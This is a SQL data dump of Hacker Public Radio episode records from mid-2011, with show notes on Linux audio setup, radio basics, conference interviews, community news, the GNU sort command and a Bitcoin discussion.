(755,'2011-06-23','LINUX JAZZ  BALLIN\' THE JACK',807,'Bariman talks about changes to his Linux audio setup','<p>\r\nThe Jack Audio Driver . . .<br />\r\nFor serious audio it is essential that the Linux kernel operates in real-time mode.<br />\r\nSwitch on through the \'Set-up\' tab,  under \'Parameters, from the QJackCtrl.<br />\r\nSet the sample rate, say 44,100 for maximum compatibility.<br />\r\nSet the buffer size (\'Frames/Rate\'), say 256 which (for me) produces an 11.6 ms latency. <br />\r\nAdd two lines of code to the file \'limits.conf\' in the \'/etc/security/\' folder (before the \'# End File\' marker), as follows <br />\r\n@audio - rtprio 99                      and<br />\r\n@audio - memlock unlimited<br />\r\nCheck you are part of the \'Audio\' Group.<br />\r\nOr use your \'username\' instead of \'@audio\' (in my case \'tonydenton\').<br />\r\n</P>\r\n<p>\r\nUpdating My Hardware . . .<br />\r\nI\'ve invested in an audio mixer - a Behringer Xenyx X1204USB Mixer.<br />\r\n(<A HREF=\"https://www.behringer.com/EN/Products/1204FX.aspx\">https://www.behringer.com/EN/Products/1204FX.aspx</A>)<br />\r\n</P>\r\n<p>\r\nRe-considering My Software Bag . . .<br />\r\nThe Podcast is now being recorded in \'Ardour\'<br />\r\n(I shall to subscribe to \'Ardour\' to keep Paul Davis developing the programme and urge others to do so.)<br />\r\nI am using \'Audacity\' for mastering, with, klaatu\'s configuration file.<br />\r\nAnother useful programme for setting or editing ID3 Tags is \'Kid3Tag\'<br />\r\nI\'m currently trialling \'MMA\'  \'Musical Midi Accompaniment\' and \'Muse\' and \'Lilypond\'<br />\r\n(Hope I can dispense with Windows-based software all together.)<br />\r\n</P>\r\n<p>\r\nMy website and Blog can be found at \'<A HREF=\"https://www.tonydenton.com\">www.tonydenton.com</A>\' and I am on Twitter as \'tonydenton.\' My Identica name is \'Bariman\' and I am occasionally found on IRC, also as \'Bariman\'<br />\r\n</P>\r\n<p>\r\nCheers for now . . .<br />\r\n</P>',150,73,1,'CC-BY-NC-SA','\"Jack Audio Driver\",limits.conf,\"audio mixer\",Ardour,Audacity,Kid3Tag,MMA,Muse,Lilypond',0,2411,1),
(756,'2011-06-26','Basics of RF',2263,'An introduction to Radio Frequencies','<p>\r\nLinks for this episode\r\n</p>\r\n<p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Amplitude_modulation\">Wikipedia - Amplitude Modulation</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Frequency_modulation\">Wikipedia - Frequency Modulation</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Single-sideband_modulation\">Wikipedia - Single-sideband modulation</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Superheterodyne_receiver\">Wikipedia - Superheterodyne reciever</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Superheterodyne_transmitter\">Superheterodyne transmitter</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Heinrich_Hertz\">Wikipedia -Heinrich Hertz</a></li>\r\n</ul>\r\n</p>',173,0,1,'CC-BY-NC-SA','\"electromagnetic radiation\",\"packet radio\"',0,2421,1),
(757,'2011-06-27','Episode 0: ',1132,'My first recording: Review of Ohava Computers Linux Laptop: OpenBook DO','<p>\r\nMy attempt to get started, finally, with HPR, including a rambling introduction and, more usefully, a review of the OpenBook DO laptop from natively Linux laptop vendor \"Ohava Computers\".\r\n</p>',182,0,1,'CC-BY-SA','review,linux,laptop,new host',0,2425,1),
(758,'2011-06-28','Interview with Jon \"The Nice Guy\" Spriggs',4297,'Ken interviews Jon Spriggs of CCHits.net','<p>CCHits.net is a site promoting and featuring <a href=\"https://creativecommons.org/about/licenses/\">Creative Commons</a> licensed music and the podcasts that play them. The site was designed with more than just this in mind. Here are some of the highlights</p> \r\n    <ul> \r\n      <li> \r\n        <h2>Encourage and Discover Great Music</h2> \r\n        <p>There\'s a lot of great Creative Commons Licensed Music out there, and not enough people know just what you can get hold of! To help ease the burdon of this issue, there are three things that we do:</p> \r\n        <ul> \r\n          <li>By linking directly to artist\'s home sites rather than to our own holding pages for artists, we ensure that the artists get maximum exposure for their own material, without having to update our site when their own information changes!</li> \r\n          <li>By linking to the source of the individual track, gives listeners a greater awareness of music sources, which hopefully should increase the exposure for sites who promote and list Creative Commons licensed music.</li> \r\n          <li>By linking to podcasts which play Creative Commons licensed music, we give listeners the opportunity to find other shows that play the music they like - ultimately giving listeners a greater fountain of great music to select from, and hopefully giving them the opportunity to discover new artists and genres to add to their personal list of favourites.</li> \r\n        </ul> \r\n      </li> \r\n      <li> \r\n        <h2>Support Communities</h2> \r\n        <p>An attendor at various social groups, the original author of the code which drives cchits.net was unable to provide consistent, suitable background music for events he was involved in organising or just attending. This site was originally designed to find tracks which are generally acceptable for public play, and are available under a suitable license for public performance (which Creative Commons music should be!) By asking all submitters of music to identify the license under which the tracks are made available, as well as selecting whether tracks may not be suitable for work or family listening, it should be possible (once the code is in-place) to request from the site a suitable selection of music for playback at venues such as hackspaces, youth centres, or even just hold music for a business. Note that this site is not being created to build a re-licensing business, but instead to promote awareness of great music - there are other, better sites, that can advise and assist in the selection of Creative Commons music which are suitable for your business endeavour, but if you just want something for backing music for an hour or a whole day, this site might be (eventually!) just the thing for you.</p> \r\n      </li> \r\n      <li> \r\n        <h2>Create Podcasts and Improve Coding Techniques</h2> \r\n        <p>At the time of writing, cchits.net is the work of one person. For several months, <a href=\"https://jon.sprig.gs\">Jon \"The Nice Guy\" Spriggs</a> had been considering starting a podcast, however, he\'s not exactly known for finishing projects! By making a system which is automated enough to create a daily podcast, a weekly podcast and a monthly podcast, playing music that he likes to hear, he thought it might encourage him to stick to it - especially when there are other amazing goals (see above) which come out as a side benefit. He normally has described himself as a writer of \"bad PHP code\", and each project he starts improves the techniques he has learned.</p> \r\n        <p>In this instance, CCHits.net has introduced Jon to the concept of writing an API that works, a system of remote execution of code, the generation of synthesized speech and the generation of an audio track, entirely in code! Never being shy of criticism from the community, especially where code is concerned, the code has all been released under a license which encourages reuse and requires the code is re-released under the same license.</p> \r\n      </li> \r\n    </ul> \r\n\r\n<p>If you already podcast, and you play Creative Commons Licesed Music on a regular basis, you might be interested in using the API on this site to track the music that people who listen to your show have expressed an interest in. Contact <a href=\"mailto:show@cchits.net\">show@cchits.net</a> to find out more</a></p> \r\n',30,78,1,'CC-BY-NC-SA','CCHits.net,music,\"Creative Commons\",PHP',0,2177,1),
(759,'2011-06-29','LPI study group',2473,'A weekly meeting to revise for the LPI exams','<p>This is a 13 week podcast of the LPI study group which was conducted with the linuxbasix.com group. This is a weekly meeting from June 8th to August 31 of 2011. Details can be found at the linuxbasix forums - <a href=\"https://www.linuxbasix.com\">www.linuxbasix.com</a></p>\r\n<p>\r\nSyndicated Thursday is a channel on HPR to expose our listeners to other podcasts, interesting talks, or just the weird and wonderful.\r\n</p>',159,7,1,'CC-BY-NC-SA','\"LPI exam\",www.linuxbasix.com,PS1,export',0,2410,1),
(760,'2011-06-30','/dev/Rob0 of maintainer of the SlackBuilds.org mailing list',545,'Klaatu interviews /dev/Rob0 at the South East Linux Fest 2011','<p>Klaatu talks to /dev/Rob0, a Slackware user, maintainer of the SlackBuilds.org mailing list, and a presenter at the South East Linux Fest 2011.</p>\r\n\r\n<p>For lovers of ogg, the episode can also be found at the <a href=\"https://www.thebadapples.info/audiophile/hpr_devRob0_slack.ogg\" target=\"_blank\">Gnu World Order</a> website.</p>',78,78,0,'CC-BY-NC-SA','SELF, interview',0,2249,1),
(761,'2011-07-03','HPR Community News for June 2011',2655,'HPR Community News for June 2011','<h2>New hosts</h2>\r\n<p>\r\nWelcome to our new hosts: <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=175\">Dave</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=177\">NewAgeTechnoHippie</a>, and\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=182\">Epicanis</a>.\r\n</p>\r\n\r\n<h2>Show Review</h2>\r\n\r\n<table id=\"table_results\" class=\"data\"> \r\n        <tbody> \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">741</td> \r\n<td  class=\"\">HPR Admins</td> \r\n<td  class=\"\">HPR Community News for May 2011</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">742</td> \r\n<td  class=\"\">Dave</td> \r\n<td  class=\"\">How I Got Into Linux</td> \r\n</tr> \r\n            \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">743</td> \r\n<td  class=\"\">KFive</td> \r\n<td  class=\"\">ILF 2011: Interview with Jason Kridner of BeagleBoard</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">744</td> \r\n<td  class=\"\">Skirlet</td> \r\n<td  class=\"\">The Language Frontier Episode 5</td> \r\n</tr> \r\n            \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">745</td> \r\n<td  class=\"\">MrGadgets</td> \r\n<td  class=\"\">Wings</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">746</td> \r\n<td  class=\"\">Ken Fallon</td> \r\n<td  class=\"\">Interview with Tony Whitmore about OggCamp11</td> \r\n</tr> \r\n            \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">747</td> \r\n<td  class=\"\">finux and code.cruncher</td> \r\n<td  class=\"\">Botnets and DNS Tunnelling</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">748</td> \r\n<td  class=\"\">Dismal Science</td> \r\n<td  class=\"\">My Favorite Audiocasts</td> \r\n</tr> \r\n            \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">749</td> \r\n<td  class=\"\">Robin Catling</td> \r\n<td  class=\"\">Full Cirle Podcast Editing the Podcast Part One Preparation</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">750</td> \r\n<td  class=\"\">NewAgeTechnoHippie</td> \r\n<td  class=\"\">My path to Linux</td> \r\n</tr> \r\n            \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">751</td> \r\n<td  class=\"\">Lord Drachenblut and Downer</td> \r\n<td  class=\"\">Binary Evolutions</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">752</td> \r\n<td  class=\"\">MrGadgets</td> \r\n<td  class=\"\">My Path to Linux: Knoppix</td> \r\n</tr> \r\n            \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">753</td> \r\n<td  class=\"\">KFive</td> \r\n<td  class=\"\">ILF 2011: Interview with Klaatu of Slackermedia</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">754</td> \r\n<td  class=\"\">Skirlet</td> \r\n<td  class=\"\">The Language Frontier Episode 6</td> \r\n</tr> \r\n            \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">755</td> \r\n<td  class=\"\">Bariman</td> \r\n<td  class=\"\">LINUX JAZZ &nbsp;BALLIN\' THE JACK</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">756</td> \r\n<td  class=\"\">Joel</td> \r\n<td  class=\"\">Basics of RF</td> \r\n</tr> \r\n            \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">757</td> \r\n<td  class=\"\">Epicanis</td> \r\n<td  class=\"\">Episode 0: &quot;Acknowledgement Courtesan&quot;</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">758</td> \r\n<td  class=\"\">Ken Fallon</td> \r\n<td  class=\"\">Interview with Jon &quot;The Nice Guy&quot; Spriggs</td> \r\n</tr> \r\n            \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">759</td> \r\n<td  class=\"\">HPR Admins</td> \r\n<td  class=\"\">LPI study group</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">760</td> \r\n<td  class=\"\">klaatu</td> \r\n<td  class=\"\">/dev/Rob0 of maintainer of the SlackBuilds.org mailing list</td> \r\n</tr> \r\n            \r\n</tbody> \r\n</table> \r\n<h2>Thanks To</h2>\r\n<UL> \r\n<li>Fifty OneFifty for the picture of the combine</li>\r\n<li>Lostnbronx, MrGadgets for allowing rescheduling</li>\r\n<li>Jonathan Nadeau for looking at the site</li>\r\n</UL>\r\n<h2>Apologies To</h2>\r\n<UL> \r\n<li>Ice Gnu # at the end of recording</li>\r\n</UL>\r\n<h2>Month in Review </h2>\r\n<ul>\r\n<li>Business Cards for SELF and OggCamp11</li>\r\n<li>Shownotes in HTML</li>\r\n<li>A hair brained idea from 5150</li>\r\n<li>CC *cast and video torrent tracker</li>\r\n<li>Selecting a CMS</li>\r\n<li>hopr mirror pegwol</li>\r\n</ul>\r\n<h2>Callisto.fm</h2>\r\n<p>\r\nA Callisto.fm user suggested that you add \"Hacker Public Radio\" to Callisto.fm!. Unfortunately the terms of service are not compatibel with a Creative Commons lisence.\r\n</p>\r\n<h2>CMS BACKEND</h2>\r\n<p>\r\nAll three are on par from an accessability point of view.<br />\r\nEach would require additional coding to support the features of HPR <br />\r\nFor now we\'ll stick with the droops(tm) cms\r\n</p>\r\n<h2>RFC Changing show to CC-BY-SA</h2>\r\n<p>\r\n17 hosts have replied and 100% of those that replied gave permission for the change to CC-BY-SA<br />\r\n107 hosts have yet to reply. <br />\r\nThis means that a little over 1/3rd of the shows have been re-licensed. I intend to email them directly as they may not be on the mail list.\r\n</p>\r\n<pre>\r\nHi All,\r\n\r\nThis is an official request for a change of license that *NEW* shows\r\nare uploaded as.\r\n\r\nThe proposal is to change from:\r\nhttps://creativecommons.org/licenses/by-nc-sa/3.0/\r\n\r\nTo https://creativecommons.org/licenses/by-sa/3.0/\r\n\r\nThe RFC will be open for a month and the results will be announced\r\nhere and on July\'s HPR Community News. If approved all shows after\r\nthat time will be by default CC-BY-SA unless indicated in the show\r\nnotes. Further, I would then contact everyone that has hosted so far\r\nasking if we can relisence their show(s) as CC-BY-SA.\r\n\r\nThis is entirely up to the community so please use the mail list you\r\nvoice your opinion. Even a one liner is fine.\r\n\r\nKen.\r\n</pre><p /><hr><p />',159,47,1,'CC-BY-SA','Community News',0,2240,1),
(762,'2011-07-04','THEATER OF THE IMAGINATION: 04',1324,'lostnbronx speaks about dramatic audio','<p></p>\r\n<p>MY SITE</p>\r\n<p><a href=\"https://info-underground.net/lnb\">https://info-underground.net/lnb</a></p>\r\n<p></p>\r\n<p>==========</p>\r\n<p></p>\r\n<p>MY MICROPHONE</p>\r\n<p></p>\r\n<p><a href=\"https://www.americanmusical.com/Item--i-CAD-GXL2200-LIST\">CAD GXL2200</a></p>\r\n<p>(This is not where I bought mine, but the price seems pretty good -- better than I paid, anyway)</p>\r\n<p></p>\r\n<p>==========</p>\r\n<p></p>\r\n<p>SHOWS MENTIONED</p>\r\n<p></p>\r\n<p><a href=\"https://www.archive.org/details/OTRR_Certified_Yours_Truly_Johnny_Dollar\">Yours Truly, Johnny Dollar</a> (At the Internet Archive)</p>\r\n<p>-----</p>\r\n<a href=\"https://imaginationlane.net/backroads/?cat=4\">H.M.S. Lydia</a>\r\n<p></p>\r\n<p>==========</p>\r\n<p></p>\r\n<p>MUSIC</p>\r\n<p><a href=\"https://ccmixter.org/people/nyx\">Citizen Nyx</a></p>\r\n<p><a href=\"https://ccmixter.org/files/nyx/13086\">Undercover</a></p>\r\n<p><a href=\"https://creativecommons.org/licenses/by/3.0/\">Creative Commons Attribution (3.0)</a></p>\r\n<p>-----</p>\r\n<p><a href=\"https://www.aesdiopod.com/lester/\">Fat Chance Lester</a></p>\r\n<p><a href=\"https://www.straightedgelinux.com/lester/albums/dist/fatChanceLester_napalmLounge_ogg.zip\">Napalm Lounge</a> (ZIP file, OGG format)</p>\r\n<p><a href=\"https://creativecommons.org/licenses/by-sa/3.0/\">Creative Commons Attribution-ShareAlike 3.0 Unported</a></p>\r\n<p>==========</p>\r\n<p>SOUND EFFECTS</p>\r\n<p></p>\r\n<p><a href=\"https://www.freesound.org/usersViewSingle.php?id=173513\">freesound</a></p>\r\n<p><a href=\"https://www.freesound.org/samplesViewSingle.php?id=25273\">Ahgghh_ses2.wav</p>\r\n<p><a href=\"https://creativecommons.org/licenses/sampling+/1.0/\">Creative Commons Sampling Plus 1.0 License</a></p>\r\n<p>-----</p>\r\n<p><a href=\"https://www.freesound.org/usersViewSingle.php?id=65091\">ljudman</p>\r\n<p><a href=\"https://www.freesound.org/samplesViewSingle.php?id=33245\">grenade.wav</a></p>\r\n<p><a href=\"https://creativecommons.org/licenses/sampling+/1.0/\">Creative Commons Sampling Plus 1.0 License</a></p>',107,52,1,'CC-BY-SA','\"condenser microphone\",XLR,\"phantom power\",\"pop filter\",\"audio drama\"',0,2223,1),
(763,'2011-07-05','Worst movie ever',655,'MrGadgets talks about what are in his opinion some very terrible movies','<p>\r\n<ol>\r\n<li>\r\n<a href=\"https://www.imdb.com/title/tt0110992/\">Ring of the Musketeers (TV 1992)</a></li>\r\n<li><a href=\"https://tv.yahoo.com/highway-honeys/show/11804/castcrew;_ylt=AohyZSXOMRVXxJCk_lRSp0KSo9EF\">Highway Honeys 1983</a></li>\r\n</ol>',155,0,1,'CC-BY-SA','movies,\"bad movies\"',0,2176,1),
(764,'2011-07-06','Matt Grove of Miserware - Energy-saving computing',1432,'Granola is software that improves the energy efficiency of your PC or laptop','<p>Energy-saving computing. It’s a neat concept, saving you money by saving you electricity. That’s money off your utilitiy bill while you do your bit to save the planet. Granola is software that improves the energy efficiency of your PC or laptop. A few weeks ago I spoke to Matt Grove from Miserware, who explained how it works…</p>\r\n<p><strong>Your Host:</strong></p>\r\n<ul>\r\n	<li><strong>Robin  Catling</strong> (blog at <a href=\"https://catlingmindswipe.blogspot.com/\" target=\"_blank\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter)</li>\r\n</ul>\r\n\r\n<p><strong>Guest:</strong></p>\r\n<ul>\r\n	<li><strong>Matt Grove of Miserware</strong> (find Grano.la  at <a href=\"https://grano.la/\" target=\"_blank\">https://grano.la/</a>)</li>\r\n</ul>\r\n<p>Additional audio by Victoria Pritchard</p>\r\n<p><strong>Runtime:</strong> 21mins 43seconds</p>\r\n<p>The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\r\nFind us at <a href=\"https://www.fullcirclemagazine.org/podcast\" target=\"_blank\">https://www.fullcirclemagazine.org/podcast</a>.</p>\r\n<p>Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org</p>',160,0,1,'CC-BY-SA','Full Circle Podcast',0,2185,1),
(765,'2011-07-07','South East Linux Fest organizers',779,'Klaatu interviews Dave S. Yates and Jeremy Sands at the South East Linux Fest 2011','<p>Klaatu talks to the organizers of this year\'s South East Linux Fest, Dave S. Yates (of the Lotta Linux Links podcast) and the tireless Mr. Jeremy Sands.</p>\r\n\r\n<p>For lovers of ogg, the episode can also be found at the <a href=\"https://www.thebadapples.info/audiophile/hpr_jeremyAndDave.ogg\" target=\"_blank\">Gnu World Order</a> website.</p>',78,78,0,'CC-BY-SA','SELF 2011, interview',0,2182,1),
(766,'2011-07-10','MrGadgets finds Linux',1177,'A personal account of technological history','<p>Mr Gadgets continues his journey from Micro Computer to Linux stopping by O/S 2 Warp and Windows 98</p>\r\n\r\n<p>Other shows in this group are:</p>\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=696\">2011-04-04, MrGadgets Path toward Linux</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=726\">2011-05-15, Journey to Linux</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=752\">2011-06-20, My Path to Linux: Knoppix</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=766\">2011-07-10, MrGadgets finds Linux</li>\r\n</ol>\r\n\r\n',155,0,1,'CC-BY-SA','OS/2,\"IBM PS/2\",Microchannel,SCSI,\"Windows 98\",Knoppix',0,2290,1),
(767,'2011-07-11','Maddog and \"super dumb terminals\"',945,'Klaatu interviews John \"Maddog\" Hall at the South East Linux Fest 2011','<p>At the South East Linux Fest 2011, Klaatu talks to Maddog about \"super dumb terminals\", super computing, a sys admin\'s rightful position in the world, and much more.</p>\r\n\r\n<p>For lovers of ogg, the episode can also be found at the <a href=\"https://www.thebadapples.info/audiophile/hpr_maddog.ogg\" target=\"_blank\">Gnu World Order</a> website.</p>',78,78,0,'CC-BY-SA','SELF 2011, interview',0,2358,1),
(768,'2011-07-12','Sort',870,'Ken describes the use of the GNU \'sort\' command','<p>\r\nExamples on <a href=\"https://en.wikipedia.org/wiki/Sort_(Unix)\">Wikipedia</a>\r\n</p>\r\n\r\n<p>\r\n\r\nFrom <a href=\"https://www.unix.com/man-page/Linux/1/sort/\">https://www.unix.com/man-page/Linux/1/sort/</a> and on your computer <strong>man sort</strong>\r\n</p>\r\n<pre>\r\n\r\n<b>NAME</b> \r\n       sort - sort lines of text files\r\n \r\n<b>SYNOPSIS</b> \r\n       sort [OPTION]... [FILE]...\r\n       sort [OPTION]... <b><i>--files0-from=F\r\n</i></b> \r\n<b>DESCRIPTION</b> \r\n       Write sorted concatenation of all FILE(s) to standard output.\r\n \r\n       Mandatory  arguments  to  long  options are mandatory for short options\r\n       too.  Ordering options:\r\n \r\n       <b><i>-b</i></b>, <b><i>--ignore-leading-blanks\r\n</i></b>	      ignore leading blanks\r\n \r\n       <b><i>-d</i></b>, <b><i>--dictionary-order\r\n</i></b>	      consider only blanks and alphanumeric characters\r\n \r\n       <b><i>-f</i></b>, <b><i>--ignore-case\r\n</i></b>	      fold lower case to upper case characters\r\n \r\n       <b><i>-g</i></b>, <b><i>--general-numeric-sort\r\n</i></b>	      compare according to general numerical value\r\n \r\n       <b><i>-i</i></b>, <b><i>--ignore-nonprinting\r\n</i></b>	      consider only printable characters\r\n \r\n       <b><i>-M</i></b>, <b><i>--month-sort\r\n</i></b>	      compare (unknown) < `JAN\' < ... < `DEC\'\r\n \r\n       <b><i>-n</i></b>, <b><i>--numeric-sort\r\n</i></b>	      compare according to string numerical value\r\n \r\n       <b><i>-R</i></b>, <b><i>--random-sort\r\n</i></b>	      sort by random hash of keys\r\n \r\n       <b><i>--random-source=FILE\r\n</i></b>	      get random bytes from FILE\r\n \r\n       <b><i>-r</i></b>, <b><i>--reverse\r\n</i></b>	      reverse the result of comparisons\r\n \r\n       <b><i>--sort=WORD\r\n</i></b>	      sort according to WORD: general-numeric <b><i>-g</i></b>,  month  <b><i>-M</i></b>,  numeric\r\n	      <b><i>-n</i></b>, random <b><i>-R</i></b>, version <b><i>-V\r\n \r\n</i></b>       <b><i>-V</i></b>, <b><i>--version-sort\r\n</i></b>	      natural sort of (version) numbers within text\r\n \r\n       Other options:\r\n \r\n       <b><i>--batch-size=NMERGE\r\n</i></b>	      merge at most NMERGE inputs at once; for more use temp files\r\n \r\n       <b><i>-c</i></b>, <b><i>--check</i></b>, <b><i>--check=diagnose-first\r\n</i></b>	      check for sorted input; do not sort\r\n \r\n       <b><i>-C</i></b>, <b><i>--check=quiet</i></b>, <b><i>--check=silent\r\n</i></b>	      like <b><i>-c</i></b>, but do not report first bad line\r\n \r\n       <b><i>--compress-program=PROG\r\n</i></b>	      compress temporaries with PROG; decompress them with PROG <b><i>-d\r\n \r\n</i></b>       <b><i>--files0-from=F\r\n</i></b>	      read  input  from the files specified by NUL-terminated names in\r\n	      file F; If F is - then read names from standard input\r\n \r\n       <b><i>-k</i></b>, --key=POS1[,POS2]\r\n	      start a key at POS1 (origin 1), end it at POS2 (default  end  of\r\n	      line)\r\n \r\n       <b><i>-m</i></b>, <b><i>--merge\r\n</i></b>	      merge already sorted files; do not sort\r\n \r\n       <b><i>-o</i></b>, <b><i>--output=FILE\r\n</i></b>	      write result to FILE instead of standard output\r\n \r\n       <b><i>-s</i></b>, <b><i>--stable\r\n</i></b>	      stabilize sort by disabling last-resort comparison\r\n \r\n       <b><i>-S</i></b>, <b><i>--buffer-size=SIZE\r\n</i></b>	      use SIZE for main memory buffer\r\n \r\n       <b><i>-t</i></b>, <b><i>--field-separator=SEP\r\n</i></b>	      use SEP instead of non-blank to blank transition\r\n \r\n       <b><i>-T</i></b>, <b><i>--temporary-directory=DIR\r\n</i></b>	      use  DIR	for temporaries, not $TMPDIR or /tmp; multiple options\r\n	      specify multiple directories\r\n \r\n       <b><i>-u</i></b>, <b><i>--unique\r\n</i></b>	      with <b><i>-c</i></b>, check for strict ordering; without <b><i>-c</i></b>, output only  the\r\n	      first of an equal run\r\n \r\n       <b><i>-z</i></b>, <b><i>--zero-terminated\r\n</i></b>	      end lines with 0 byte, not newline\r\n \r\n       <b><i>--help</i></b> display this help and exit\r\n \r\n       <b><i>--version\r\n</i></b>	      output version information and exit\r\n \r\n       POS  is	F[.C][OPTS],  where  F is the field number and C the character\r\n       position in the field; both are origin 1.  If neither <b><i>-t</i></b> nor <b><i>-b</i></b>	is  in\r\n       effect,	characters  in	a  field are counted from the beginning of the\r\n       preceding whitespace.  OPTS  is	one  or  more  single-letter  ordering\r\n       options,  which	override  global ordering options for that key.  If no\r\n       key is given, use the entire line as the key.\r\n \r\n       SIZE may be followed by the following multiplicative suffixes: % 1%  of\r\n       memory, b 1, K 1024 (default), and so on for M, G, T, P, E, Z, Y.\r\n \r\n       With no FILE, or when FILE is -, read standard input.\r\n \r\n       ***  WARNING  ***  The locale specified by the environment affects sort\r\n       order.  Set LC_ALL=C to get the traditional sort order that uses native\r\n       byte values.\r\n \r\n<b>AUTHOR</b> \r\n       Written by Mike Haertel and Paul Eggert.\r\n \r\n<b>REPORTING BUGS</b> \r\n       Report sort bugs to bug-coreutils@gnu.org\r\n       GNU coreutils home page: https://www.gnu.org/software/coreutils/\r\n       General help using GNU software: https://www.gnu.org/gethelp/\r\n \r\n<b>COPYRIGHT</b> \r\n       Copyright  (C)  2009  Free Software Foundation, Inc.  License GPLv3+: GNU\r\n       GPL version 3 or later <https://gnu.org/licenses/gpl.html>.\r\n       This is free software: you are free  to	change	and  redistribute  it.\r\n       There is NO WARRANTY, to the extent permitted by law.\r\n \r\n<b>SEE ALSO</b> \r\n       The  full documentation for sort is maintained as a Texinfo manual.  If\r\n       the info and sort programs are properly installed  at  your  site,  the\r\n       command\r\n \r\n	      info coreutils \'sort invocation\'\r\n \r\n       should give you access to the complete manual.\r\n \r\n<b>GNU coreutils 7.4</b>		 October 2009			       \r\n</pre>\r\n\r\n\r\n<p>\r\nThe command that promped me to record this episode\r\n<pre>\r\ncat camera-x.txt | sed \'s[Camera Model Name               : [[g\'| \\\r\nawk -F \';\' \'{print $2\" \"$1}\' | \\\r\nsort -i -b -k1,1 -u | \\\r\ngrep -v \"^ \"\r\n</pre>\r\n</p>',30,0,1,'CC-BY-SA','\"GNU sort\"',0,2208,1),
(769,'2011-07-13','Linux Outlaws 215 - Bitcoin Discussion',7293,'Dan and Fab discuss the technology and politics of the Bitcoin crypto-currency','<p>\r\nOn HPR, Thursdays are reserved to showcase other Creative Commons works. We try to expose podcasts, speeches, presentations, music, etc that you may not have heard. If you have suggestions for items then send your recommendation to admin at hpr and we\'ll add it to the queue.\r\n</p>\r\n<h1><a href=\"https://sixgun.org/linuxoutlaws/215\">Linux Outlaws 215</a> - Bitcoin Discussion</h1>\r\n\r\n<p>\r\n<strong>Released:</strong> June 29, 2011<br /><strong>Length: </strong>1:59:54</p>\r\n<p>\r\n<em>Dan and Fab discuss the technology and politics of the Bitcoin crypto-currency.</em></p>\r\n<!--break-->\r\n<p>\r\nIn this special in-depth episode of the show, Dan and Fab discuss the <a href=\"https://en.wikipedia.org/wiki/Bitcoin\">Bitcoin</a> crypto-currency. This is a very detailed episode, so you better settle in and get a hot beverage of your choice.</p>\r\n\r\n<p>\r\nLinks for the show:</p>\r\n<ul><li>\r\n<a href=\"https://www.twit.tv/sn287\">Security Now episode on Bitcoin</a></li>\r\n<li>\r\n<a href=\"https://chaosradio.ccc.de/cre182.html\">Chaos Radio Express on Bitcoin</a> (German)</li>\r\n<li>\r\n<a href=\"https://bitcoincharts.com/\">Bitcoin Charts</a></li>\r\n\r\n<li>\r\nThe book Dan recommended: <em><a href=\"https://en.wikipedia.org/wiki/Reefer_Madness_(2003_book)\">Reefer Madness</a></em> (<a href=\"https://books.google.com/books/about/Reefer_madness.html?id=_H8rvssxAsAC\">on Google Books</a>)</li>\r\n</ul><p>\r\nOur Bitcoin address: 1GC2PU7nPi8vnDni3NoywTtKYsJHJ9SJHA</p>\r\n\r\n<p><a href=\"https://sixgun.org/linuxoutlaws/215\">https://sixgun.org/linuxoutlaws/215</a></p>',159,54,1,'CC-BY-SA','bitcoin,crypto-currency,\"linux outlaws\"',0,3384,1),
